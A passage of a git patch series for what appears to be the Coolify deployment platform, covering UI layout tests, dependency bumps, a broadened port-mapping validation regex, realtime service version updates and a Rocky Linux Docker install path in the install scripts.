+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'name' => 'Pure Dockerfile Example',
+        'status' => 'running',
+    ]);
+});
+
+it('hides the breadcrumb trail on mobile while keeping the current status visible', function () {
+    $response = $this->get(route('project.application.configuration', [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'application_uuid' => $this->application->uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('flex min-w-0 flex-col gap-1 md:hidden', false);
+    $response->assertSee('flex min-w-0 items-center text-xs text-neutral-400', false);
+    $response->assertSee('hidden flex-wrap items-center gap-y-1 md:flex', false);
+    $response->assertSee('flex flex-wrap items-center gap-1', false);
+    $response->assertSee(
+        'scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible',
+        false,
+    );
+    $response->assertSee('shrink-0', false);
+    $response->assertSee('Actions');
+    $response->assertSee('dropdown-item-touch', false);
+    $response->assertSee('hidden flex-wrap items-center gap-2 md:flex', false);
+    $response->assertSee('window.innerWidth >= 768', false);
+    $response->assertSee(':style="panelStyles"', false);
+    $response->assertSee('absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6', false);
+    $response->assertSee('Pure Dockerfile Example');
+    $response->assertSee('Running');
+    $response->assertSee('pt-2 pb-4 md:pb-10', false);
+
+    expect($response->getContent())->not->toContain('hidden pt-2 pb-10 md:flex');
+});
diff --git a/tests/Feature/ResponsiveCheckboxLayoutTest.php b/tests/Feature/ResponsiveCheckboxLayoutTest.php
new file mode 100644
index 000000000..f0d534a0d
--- /dev/null
+++ b/tests/Feature/ResponsiveCheckboxLayoutTest.php
@@ -0,0 +1,113 @@
+<?php
+
+use App\Enums\ProxyStatus;
+use App\Enums\ProxyTypes;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\PrivateKey;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(function () {
+        InstanceSettings::query()->create([
+            'id' => 0,
+            'is_registration_enabled' => true,
+        ]);
+    });
+
+    $this->user = User::factory()->create([
+        'name' => 'Test User',
+        'email' => 'test@example.com',
+    ]);
+
+    $this->team = Team::factory()->create([
+        'show_boarding' => false,
+    ]);
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    $this->privateKey = PrivateKey::create([
+        'team_id' => $this->team->id,
+        'name' => 'Test Key',
+        'description' => 'Test SSH key',
+        'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----',
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $this->privateKey->id,
+        'proxy' => [
+            'type' => ProxyTypes::TRAEFIK->value,
+            'status' => ProxyStatus::EXITED->value,
+        ],
+    ]);
+
+    $this->destination = StandaloneDocker::query()
+        ->where('server_id', $this->server->id)
+        ->firstOrFail();
+
+    $this->project = Project::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = Environment::factory()->create([
+        'project_id' => $this->project->id,
+    ]);
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+});
+
+it('renders responsive checkbox classes on the application configuration page', function () {
+    $response = $this->get(route('project.application.configuration', [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'application_uuid' => $this->application->uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('Use a Build Server?');
+    $response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
+    $response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
+    $response->assertSee('flex min-w-0 grow gap-2 break-words', false);
+    $response->assertSee('shrink-0', false);
+    $response->assertSee('pt-2 w-full sm:w-96', false);
+
+    expect($response->getContent())->not->toContain('min-w-fit');
+});
+
+it('renders responsive checkbox classes on the server page', function () {
+    $response = $this->get(route('server.show', [
+        'server_uuid' => $this->server->uuid,
+    ]));
+
+    $response->assertSuccessful();
+    $response->assertSee('Use it as a build server?');
+    $response->assertSee('form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2', false);
+    $response->assertSee('label flex w-full max-w-full min-w-0 items-center gap-4 px-0', false);
+    $response->assertSee('flex min-w-0 grow gap-2 break-words', false);
+    $response->assertSee('shrink-0', false);
+    $response->assertSee('w-full sm:w-96', false);
+
+    expect($response->getContent())->not->toContain('min-w-fit');
+});

From a6597279da270b1af47f46344c84d6dc8b4db616 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Fri, 10 Apr 2026 22:06:07 +0000
Subject: [PATCH 032/102] build(deps): bump phpseclib/phpseclib from 3.0.50 to
 3.0.51

Bumps [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) from 3.0.50 to 3.0.51.
- [Release notes](https://github.com/phpseclib/phpseclib/releases)
- [Changelog](https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md)
- [Commits](https://github.com/phpseclib/phpseclib/compare/3.0.50...3.0.51)

---
updated-dependencies:
- dependency-name: phpseclib/phpseclib
  dependency-version: 3.0.51
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 composer.lock | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/composer.lock b/composer.lock
index 3884eac06..2f27235f5 100644
--- a/composer.lock
+++ b/composer.lock
@@ -72,7 +72,6 @@
                 "type": "zip",
                 "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/67b6b6210af47319c74c5666388d71bc1bc58276",
                 "reference": "67b6b6210af47319c74c5666388d71bc1bc58276",
-
                 "shasum": ""
             },
             "require": {
@@ -157,7 +156,6 @@
                 "source": "https://github.com/aws/aws-sdk-php/tree/3.374.2"
             },
             "time": "2026-03-27T18:05:55+00:00"
-
         },
         {
             "name": "bacon/bacon-qr-code",
@@ -5158,16 +5156,16 @@
         },
         {
             "name": "phpseclib/phpseclib",
-            "version": "3.0.50",
+            "version": "3.0.51",
             "source": {
                 "type": "git",
                 "url": "https://github.com/phpseclib/phpseclib.git",
-                "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b"
+                "reference": "d59c94077f9c9915abb51ddb52ce85188ece1748"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
-                "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b",
+                "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/d59c94077f9c9915abb51ddb52ce85188ece1748",
+                "reference": "d59c94077f9c9915abb51ddb52ce85188ece1748",
                 "shasum": ""
             },
             "require": {
@@ -5248,7 +5246,7 @@
             ],
             "support": {
                 "issues": "https://github.com/phpseclib/phpseclib/issues",
-                "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50"
+                "source": "https://github.com/phpseclib/phpseclib/tree/3.0.51"
             },
             "funding": [
                 {
@@ -5264,7 +5262,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2026-03-19T02:57:58+00:00"
+            "time": "2026-04-10T01:33:53+00:00"
         },
         {
             "name": "phpstan/phpdoc-parser",

From 8d84e171b617ecf6b171c4ec810f4bd33285fdce Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 11 Apr 2026 17:47:34 +0530
Subject: [PATCH 033/102] fix(validation): allow protocol suffix in port
 mappings (/tcp, /udp, /sctp)

---
 app/Support/ValidationPatterns.php | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 15d0f19e0..339299692 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -203,10 +203,11 @@ public static function volumeNameMessages(string $field = 'name'): array
     }
 
     /**
-     * Pattern for port mappings (e.g. 3000:3000, 8080:80, 8000-8010:8000-8010)
+     * Pattern for port mappings (e.g. 3000:3000, 8080:80/udp, 8000-8010:8000-8010)
      * Each entry requires host:container format, where each side can be a number or a range (number-number)
+     * with an optional protocol suffix (/tcp, /udp, /sctp) on either or both sides
      */
-    public const PORT_MAPPINGS_PATTERN = '/^(\d+(-\d+)?:\d+(-\d+)?)(,\d+(-\d+)?:\d+(-\d+)?)*$/';
+    public const PORT_MAPPINGS_PATTERN = '/^(\d+(-\d+)?(\/(?:tcp|udp|sctp))?:\d+(-\d+)?(\/(?:tcp|udp|sctp))?)(,\d+(-\d+)?(\/(?:tcp|udp|sctp))?:\d+(-\d+)?(\/(?:tcp|udp|sctp))?)*$/';
 
     /**
      * Get validation rules for container name fields
@@ -230,7 +231,7 @@ public static function portMappingRules(): array
     public static function portMappingMessages(string $field = 'portsMappings'): array
     {
         return [
-            "{$field}.regex" => 'Port mappings must be a comma-separated list of port pairs or ranges (e.g. 3000:3000,8080:80,8000-8010:8000-8010).',
+            "{$field}.regex" => 'Port mappings must be a comma-separated list of port pairs or ranges with optional protocol (e.g. 3000:3000,8080:80/udp,8000-8010:8000-8010).',
         ];
     }
 

From f825a1f1a8f46eefe202294d946bbfee3bba7e15 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Sat, 11 Apr 2026 22:24:52 +0530
Subject: [PATCH 034/102] fix(validation): support IP binding in port mappings

---
 app/Support/ValidationPatterns.php | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 339299692..88121384f 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -203,11 +203,24 @@ public static function volumeNameMessages(string $field = 'name'): array
     }
 
     /**
-     * Pattern for port mappings (e.g. 3000:3000, 8080:80/udp, 8000-8010:8000-8010)
-     * Each entry requires host:container format, where each side can be a number or a range (number-number)
-     * with an optional protocol suffix (/tcp, /udp, /sctp) on either or both sides
+     * Pattern for port mappings with optional IP binding and protocol suffix on either side.
+     * Format: [ip:]port[:ip:port] where IP is IPv4 or [IPv6], port can be a range, protocol suffix optional.
+     * Examples: 8080:80, 127.0.0.1:8080:80, [::1]::80/udp, 127.0.0.1:8080:80/tcp
      */
-    public const PORT_MAPPINGS_PATTERN = '/^(\d+(-\d+)?(\/(?:tcp|udp|sctp))?:\d+(-\d+)?(\/(?:tcp|udp|sctp))?)(,\d+(-\d+)?(\/(?:tcp|udp|sctp))?:\d+(-\d+)?(\/(?:tcp|udp|sctp))?)*$/';
+    public const PORT_MAPPINGS_PATTERN = '/^
+        (?:(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[[\da-fA-F:]+\]):)?  # optional IP
+        (?:\d+(?:-\d+)?(?:\/(?:tcp|udp|sctp))?)?                         # optional host port
+        :
+        (?:(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[[\da-fA-F:]+\]):)?  # optional IP
+        \d+(?:-\d+)?(?:\/(?:tcp|udp|sctp))?                              # container port
+        (?:,
+            (?:(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[[\da-fA-F:]+\]):)?
+            (?:\d+(?:-\d+)?(?:\/(?:tcp|udp|sctp))?)?
+            :
+            (?:(?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[[\da-fA-F:]+\]):)?
+            \d+(?:-\d+)?(?:\/(?:tcp|udp|sctp))?
+        )*
+    $/x';
 
     /**
      * Get validation rules for container name fields
@@ -231,7 +244,7 @@ public static function portMappingRules(): array
     public static function portMappingMessages(string $field = 'portsMappings'): array
     {
         return [
-            "{$field}.regex" => 'Port mappings must be a comma-separated list of port pairs or ranges with optional protocol (e.g. 3000:3000,8080:80/udp,8000-8010:8000-8010).',
+            "{$field}.regex" => 'Port mappings must be a comma-separated list of port pairs or ranges with optional IP and protocol (e.g. 3000:3000, 8080:80/udp, 127.0.0.1:8080:80, [::1]::80).',
         ];
     }
 

From 1cab5a8ff4115fc3b7e479dfe0c8300c5e67a0c4 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Sun, 12 Apr 2026 08:52:10 +0000
Subject: [PATCH 035/102] build(deps-dev): bump axios from 1.13.2 to 1.15.0

Bumps [axios](https://github.com/axios/axios) from 1.13.2 to 1.15.0.
- [Release notes](https://github.com/axios/axios/releases)
- [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md)
- [Commits](https://github.com/axios/axios/compare/v1.13.2...v1.15.0)

---
updated-dependencies:
- dependency-name: axios
  dependency-version: 1.15.0
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 package-lock.json | 25 ++++++++++++++-----------
 package.json      |  2 +-
 2 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/package-lock.json b/package-lock.json
index 0af80f950..1fcd7cc1e 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -16,7 +16,7 @@
             "devDependencies": {
                 "@tailwindcss/postcss": "4.1.18",
                 "@vitejs/plugin-vue": "6.0.3",
-                "axios": "1.13.2",
+                "axios": "1.15.0",
                 "laravel-echo": "2.2.7",
                 "laravel-vite-plugin": "2.0.1",
                 "postcss": "8.5.6",
@@ -1474,15 +1474,15 @@
             "license": "MIT"
         },
         "node_modules/axios": {
-            "version": "1.13.2",
-            "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz",
-            "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==",
+            "version": "1.15.0",
+            "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz",
+            "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==",
             "dev": true,
             "license": "MIT",
             "dependencies": {
-                "follow-redirects": "^1.15.6",
-                "form-data": "^4.0.4",
-                "proxy-from-env": "^1.1.0"
+                "follow-redirects": "^1.15.11",
+                "form-data": "^4.0.5",
+                "proxy-from-env": "^2.1.0"
             }
         },
         "node_modules/call-bind-apply-helpers": {
@@ -2501,11 +2501,14 @@
             }
         },
         "node_modules/proxy-from-env": {
-            "version": "1.1.0",
-            "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-            "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
+            "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==",
             "dev": true,
-            "license": "MIT"
+            "license": "MIT",
+            "engines": {
+                "node": ">=10"
+            }
         },
         "node_modules/pusher-js": {
             "version": "8.4.0",
diff --git a/package.json b/package.json
index 661b13e4c..3afefa833 100644
--- a/package.json
+++ b/package.json
@@ -9,7 +9,7 @@
     "devDependencies": {
         "@tailwindcss/postcss": "4.1.18",
         "@vitejs/plugin-vue": "6.0.3",
-        "axios": "1.13.2",
+        "axios": "1.15.0",
         "laravel-echo": "2.2.7",
         "laravel-vite-plugin": "2.0.1",
         "postcss": "8.5.6",

From 942e1baaecf68cb9f505100fd05e75920c573750 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Sun, 12 Apr 2026 11:13:23 +0000
Subject: [PATCH 036/102] build(deps): bump axios in /docker/coolify-realtime

Bumps [axios](https://github.com/axios/axios) from 1.13.6 to 1.15.0.
- [Release notes](https://github.com/axios/axios/releases)
- [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md)
- [Commits](https://github.com/axios/axios/compare/v1.13.6...v1.15.0)

---
updated-dependencies:
- dependency-name: axios
  dependency-version: 1.15.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 docker/coolify-realtime/package-lock.json | 21 ++++++++++++---------
 docker/coolify-realtime/package.json      |  2 +-
 2 files changed, 13 insertions(+), 10 deletions(-)

diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json
index 1c49ff930..174077562 100644
--- a/docker/coolify-realtime/package-lock.json
+++ b/docker/coolify-realtime/package-lock.json
@@ -7,7 +7,7 @@
             "dependencies": {
                 "@xterm/addon-fit": "0.11.0",
                 "@xterm/xterm": "6.0.0",
-                "axios": "1.13.6",
+                "axios": "1.15.0",
                 "cookie": "1.1.1",
                 "dotenv": "17.3.1",
                 "node-pty": "1.1.0",
@@ -36,14 +36,14 @@
             "license": "MIT"
         },
         "node_modules/axios": {
-            "version": "1.13.6",
-            "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz",
-            "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==",
+            "version": "1.15.0",
+            "resolved": "https://registry.npmjs.org/axios/-/axios-1.15.0.tgz",
+            "integrity": "sha512-wWyJDlAatxk30ZJer+GeCWS209sA42X+N5jU2jy6oHTp7ufw8uzUTVFBX9+wTfAlhiJXGS0Bq7X6efruWjuK9Q==",
             "license": "MIT",
             "dependencies": {
                 "follow-redirects": "^1.15.11",
                 "form-data": "^4.0.5",
-                "proxy-from-env": "^1.1.0"
+                "proxy-from-env": "^2.1.0"
             }
         },
         "node_modules/call-bind-apply-helpers": {
@@ -344,10 +344,13 @@
             }
         },
         "node_modules/proxy-from-env": {
-            "version": "1.1.0",
-            "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-            "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
-            "license": "MIT"
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
+            "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==",
+            "license": "MIT",
+            "engines": {
+                "node": ">=10"
+            }
         },
         "node_modules/ws": {
             "version": "8.19.0",
diff --git a/docker/coolify-realtime/package.json b/docker/coolify-realtime/package.json
index ebb7122c8..30bfbcef7 100644
--- a/docker/coolify-realtime/package.json
+++ b/docker/coolify-realtime/package.json
@@ -5,7 +5,7 @@
         "@xterm/addon-fit": "0.11.0",
         "@xterm/xterm": "6.0.0",
         "cookie": "1.1.1",
-        "axios": "1.13.6",
+        "axios": "1.15.0",
         "dotenv": "17.3.1",
         "node-pty": "1.1.0",
         "ws": "8.19.0"

From 60f76380bd91d412b5af785a3f11379001831303 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 13 Apr 2026 10:21:01 +0200
Subject: [PATCH 037/102] build(realtime): bump coolify-realtime to 1.0.13

Update the realtime service version constant and Docker Compose image tags,
including nightly and Windows variants.
---
 config/constants.php                     | 2 +-
 docker-compose.prod.yml                  | 2 +-
 docker-compose.windows.yml               | 2 +-
 other/nightly/docker-compose.prod.yml    | 2 +-
 other/nightly/docker-compose.windows.yml | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index adaeb7fb2..b8cd8f6d9 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -4,7 +4,7 @@
     'coolify' => [
         'version' => '4.0.0-beta.473',
         'helper_version' => '1.0.13',
-        'realtime_version' => '1.0.12',
+        'realtime_version' => '1.0.13',
         'self_hosted' => env('SELF_HOSTED', true),
         'autoupdate' => env('AUTOUPDATE'),
         'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'),
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index e6d2bce54..901aeb833 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -60,7 +60,7 @@ services:
       retries: 10
       timeout: 2s
   soketi:
-    image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.12'
+    image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13'
     ports:
       - "${SOKETI_PORT:-6001}:6001"
       - "6002:6002"
diff --git a/docker-compose.windows.yml b/docker-compose.windows.yml
index 00734fb0e..998d35974 100644
--- a/docker-compose.windows.yml
+++ b/docker-compose.windows.yml
@@ -96,7 +96,7 @@ services:
       retries: 10
       timeout: 2s
   soketi:
-    image: 'ghcr.io/coollabsio/coolify-realtime:1.0.12'
+    image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13'
     pull_policy: always
     container_name: coolify-realtime
     restart: always
diff --git a/other/nightly/docker-compose.prod.yml b/other/nightly/docker-compose.prod.yml
index e6d2bce54..901aeb833 100644
--- a/other/nightly/docker-compose.prod.yml
+++ b/other/nightly/docker-compose.prod.yml
@@ -60,7 +60,7 @@ services:
       retries: 10
       timeout: 2s
   soketi:
-    image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.12'
+    image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.13'
     ports:
       - "${SOKETI_PORT:-6001}:6001"
       - "6002:6002"
diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml
index 00734fb0e..998d35974 100644
--- a/other/nightly/docker-compose.windows.yml
+++ b/other/nightly/docker-compose.windows.yml
@@ -96,7 +96,7 @@ services:
       retries: 10
       timeout: 2s
   soketi:
-    image: 'ghcr.io/coollabsio/coolify-realtime:1.0.12'
+    image: 'ghcr.io/coollabsio/coolify-realtime:1.0.13'
     pull_policy: always
     container_name: coolify-realtime
     restart: always

From 39944180e321d2d8d264187c69ff97c6610dd095 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 13 Apr 2026 10:21:24 +0200
Subject: [PATCH 038/102] build(realtime): bump coolify-realtime to 1.0.13

---
 other/nightly/versions.json | 2 +-
 versions.json               | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index b8d6efae2..7012f481e 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -10,7 +10,7 @@
             "version": "1.0.13"
         },
         "realtime": {
-            "version": "1.0.12"
+            "version": "1.0.13"
         },
         "sentinel": {
             "version": "0.0.21"
diff --git a/versions.json b/versions.json
index b8d6efae2..7012f481e 100644
--- a/versions.json
+++ b/versions.json
@@ -10,7 +10,7 @@
             "version": "1.0.13"
         },
         "realtime": {
-            "version": "1.0.12"
+            "version": "1.0.13"
         },
         "sentinel": {
             "version": "0.0.21"

From 067dd35e2b8ef9eefddc201b2f6e74977633f098 Mon Sep 17 00:00:00 2001
From: "Tim L. White" <tim@cyface.com>
Date: Mon, 13 Apr 2026 16:13:00 -0600
Subject: [PATCH 039/102] fix(dev): add Docker volume path mapping to
 testing-host for database deployments

Database deployments generate bind mounts referencing the internal Docker
volume path (/var/lib/docker/volumes/coolify_dev_coolify_data/_data) which
doesn't exist in the testing-host container. This adds the missing volume
mount so both /data/coolify and the Docker volume path resolve correctly.

Fixes #9533

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
---
 docker-compose.dev.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 3af443c83..f608fe3cb 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -112,6 +112,7 @@ services:
     volumes:
       - /var/run/docker.sock:/var/run/docker.sock
       - dev_coolify_data:/data/coolify
+      - dev_coolify_data:/var/lib/docker/volumes/coolify_dev_coolify_data/_data
       - dev_backups_data:/data/coolify/backups
       - dev_postgres_data:/data/coolify/_volumes/database
       - dev_redis_data:/data/coolify/_volumes/redis

From 16d9c02e73d160eac46a923f930c20fc00a03ff3 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 14 Apr 2026 10:31:01 +0200
Subject: [PATCH 040/102] fix(install): use Rocky Linux RHEL Docker repository

Add a Rocky-specific Docker install path to the stable and nightly install scripts, using Docker's documented RHEL repository flow. Include a unit test to lock in the Rocky repo selection and command set.
---
 other/nightly/install.sh                      | 16 +++++++++++
 scripts/install.sh                            | 16 +++++++++++
 .../Unit/InstallScriptRockyDockerRepoTest.php | 28 +++++++++++++++++++
 3 files changed, 60 insertions(+)
 create mode 100644 tests/Unit/InstallScriptRockyDockerRepoTest.php

diff --git a/other/nightly/install.sh b/other/nightly/install.sh
index 09406118c..4a91f7b1b 100755
--- a/other/nightly/install.sh
+++ b/other/nightly/install.sh
@@ -539,6 +539,15 @@ install_docker_manually() {
         echo "Docker installed successfully."
     fi
 }
+
+install_docker_from_rhel_repo() {
+    echo " - Installing Docker from the RHEL repository for Rocky Linux..."
+    rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo
+    dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo
+    dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
+    systemctl --now enable docker
+}
+
 log_section "Step 3/9: Checking Docker installation"
 echo "3/9 Checking Docker installation..."
 if ! [ -x "$(command -v docker)" ]; then
@@ -579,6 +588,13 @@ if ! [ -x "$(command -v docker)" ]; then
             exit 1
         fi
         ;;
+    "rocky")
+        install_docker_from_rhel_repo
+        if ! [ -x "$(command -v docker)" ]; then
+            echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+            exit 1
+        fi
+        ;;
     "almalinux" | "tencentos")
         dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
         dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
diff --git a/scripts/install.sh b/scripts/install.sh
index 2e1dab326..15f172f6d 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -539,6 +539,15 @@ install_docker_manually() {
         echo "Docker installed successfully."
     fi
 }
+
+install_docker_from_rhel_repo() {
+    echo " - Installing Docker from the RHEL repository for Rocky Linux..."
+    rm -f /etc/yum.repos.d/docker-ce.repo /etc/yum.repos.d/docker-ce-staging.repo
+    dnf config-manager --add-repo https://download.docker.com/linux/rhel/docker-ce.repo
+    dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
+    systemctl --now enable docker
+}
+
 log_section "Step 3/9: Checking Docker installation"
 echo "3/9 Checking Docker installation..."
 if ! [ -x "$(command -v docker)" ]; then
@@ -579,6 +588,13 @@ if ! [ -x "$(command -v docker)" ]; then
             exit 1
         fi
         ;;
+    "rocky")
+        install_docker_from_rhel_repo
+        if ! [ -x "$(command -v docker)" ]; then
+            echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
+            exit 1
+        fi
+        ;;
     "almalinux" | "tencentos")
         dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
         dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
diff --git a/tests/Unit/InstallScriptRockyDockerRepoTest.php b/tests/Unit/InstallScriptRockyDockerRepoTest.php
new file mode 100644
index 000000000..da1aa6c5e
--- /dev/null
+++ b/tests/Unit/InstallScriptRockyDockerRepoTest.php
@@ -0,0 +1,28 @@
+<?php
+
